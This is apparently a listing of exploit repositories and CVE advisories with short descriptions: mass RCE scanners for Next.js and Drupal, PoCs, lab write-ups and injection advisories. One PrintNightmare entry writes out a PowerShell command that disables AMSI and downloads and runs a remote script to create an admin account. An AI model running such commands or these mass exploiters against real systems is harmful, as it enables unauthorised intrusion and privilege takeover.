CVE-2025-55182-MassPayloadAttack

CVE-2025-55182 Mass Payload Attack React2Shell A modified Mass RCE Exploit script for CVE-2025-55182 React2Shell targeting Next.js applications. This tool is a modification of the original PoC script by pax-k. While the original script targets a single host, this version is enhanced to support ma...

CVE-2026-100887 amirsanni Mini-Inventory-and-Sales-Management-System Database Query Builder DB_query_builder.php order_by sql injection

A security flaw has been discovered in amirsanni Mini-Inventory-and-Sales-Management-System up to 81bf0b55f5933f3b0dbb1583204a612e06605b95. The impacted element is the function orderby of the file DBquerybuilder.php of the component Database Query Builder. Performing a manipulation of the argumen...

CVE-2023-29489

CVE-2023-29489 exploit This script can exploit many website by CVE-2023-29489 XSS vuln Usage python3 CVE-2023-29489.py list.txt My channel :...

android-kernel-exploitation

Explotación del Kernel de Android Objetivo El objetivo de este taller es iniciarse en el análisis de vulnerabilidades del kernel y la explotación en la plataforma Android. Uso Clona el repositorio git clone https://github.com/cloudfuzz/android-kernel-exploitation /workshop URL de Github Pages...

Research-CVE-2016-5195

CVE-2016-5195 Dirty Cow Cow stands for copy-on-write , it has existed on Linux kernels since 2007 and was discovered in 2016. Since I am working on a lab related to this CVE, I will take the opportunity to write an analysis about it. 1. Introduction Because the kernel runs under root privileges,...

CVE-2025-55182

CVE-2025-55182 Vulnerability Detection and Exploitation Tool Project Introduction This tool is a GUI tool developed based on Java Swing, used for detecting and exploiting the CVE-2025-55182 vulnerability. This vulnerability is a security flaw in the Next.js framework that allows attackers to...

CVE-2025-5548

🛡️ CVE-2025-5548 Este trabajo documenta el proceso completo de análisis técnico y explotación controlada de la vulnerabilidadCVE-2025-5548 sobre el software FreeFloat FTP Server, dentro de un entorno de laboratorio diseñado con fines exclusivamente formativos, de investigación y de comprensión del...

CVE-2020-7961-Mass

CVE-2020-7961-Mass Buy Password 10$ Email To [email protected]...

vm-homelab-log4shell-assessment

Evaluación de vulnerabilidades y validación de explotación — Apache Solr / Log4Shell Laboratorio de gestión de vulnerabilidades de ciclo de vida completo: escanear → priorizar → validar manualmente → detectar en la capa de red → remediar → verificar. Objetivo: contenedor Solr 8.11.0 de Vulhub...

EUVD-2026-88012

A vulnerability was found in mathurvishal CloudClassroom-PHP-Project up to 5dadec098bfbbf3300d60c3494db3fb95b66e7be. Affected is an unknown function of the file loginlinkstudent.php. Performing a manipulation of the argument umail results in missing authentication. Remote exploitation of the atta...

CVE-2026-100876

A vulnerability exists in the mathurvishal CloudClassroom-PHP-Project (up to commit 5dadec098bfbbf3300d60c3494db3fb95b66e7be ) due to missing authentication in an unknown function of the loginlinkstudent.php file. By manipulating the umail argument, an attacker can bypass authentication. Remote e...

CVE-2026-100876 mathurvishal CloudClassroom-PHP-Project loginlinkstudent.php missing authentication

A vulnerability was found in mathurvishal CloudClassroom-PHP-Project up to 5dadec098bfbbf3300d60c3494db3fb95b66e7be. Affected is an unknown function of the file loginlinkstudent.php. Performing a manipulation of the argument umail results in missing authentication. Remote exploitation of the atta...

CVE-2023-43208-PoC

Mirth Connect RCE Exploit CVE-2023-43208 This script is a Proof of Concept PoC for the Remote Code Execution RCE vulnerability in Mirth Connect versions prior to 4.4.1. It exploits an XStream deserialization vulnerability through the API. Requirements Python 3.10 or higher Compatible with 3.13...

CVE-2022-26134-LAB

CVE-2022-26134-LAB Confluence Server and Confluence Data Center include a significant unauthenticated remote code execution vulnerability identified as CVE-2022-26134, according to a security advisory released by Atlassian on June 2, 2022. The vulnerability was unpatched when it was published on...

Windows-Exploitation-Web-Server-Tomcat-8.5.39-CVE-2019-0232

This repository does not have a README...

cve-2021-1675

cve-2021-1675 disble amsi: copy into powershell https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt execute invoke-script iex New-Object Net.WebClient.DownloadString'https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1' create admin account...

CVE-2025-5548

🚀 CVE-2025-5548 - FreeFloat FTP Server 1.0 Exploitation Professional vulnerability analysis & full remote buffer overflow exploitation 🎯 Project Highlights Complete real-world case study of CVE-2025-5548 remote stack-based buffer overflow in FreeFloat FTP Server 1.0 via NOOP command Manual tool...

cve-2025-53770

CVE-2025-53770 SharePoint Deserialization RCE PoC Critical — Unauthenticated Remote Code Execution via unsafe deserialization in Microsoft SharePoint Server CVE-2025-53770 Description Deserialization of untrusted data in on-premises Microsoft SharePoint Server allows an attacker to execute code...

offensive-security-lab-1

offensive-security-lab-1 A hands-on vulnerability assessment and exploitation of a Windows 7 VM using the EternalBlue CVE-2017-0143 exploit. Includes scanning, exploitation with Metasploit, post-exploitation, and remediation steps in a controlled lab environment...

Drupalgeddon-Mass-Exploiter

Drupalgeddon-Mass-Exploiter CVE-2018-7600 and CVE-2018-7602 Mass Exploiter Usuage : python3 mass.py list output workers proxydefault:none exploitnumber exploitnumber: 7=CVE-2018-7600 8=CVE-2018-7602...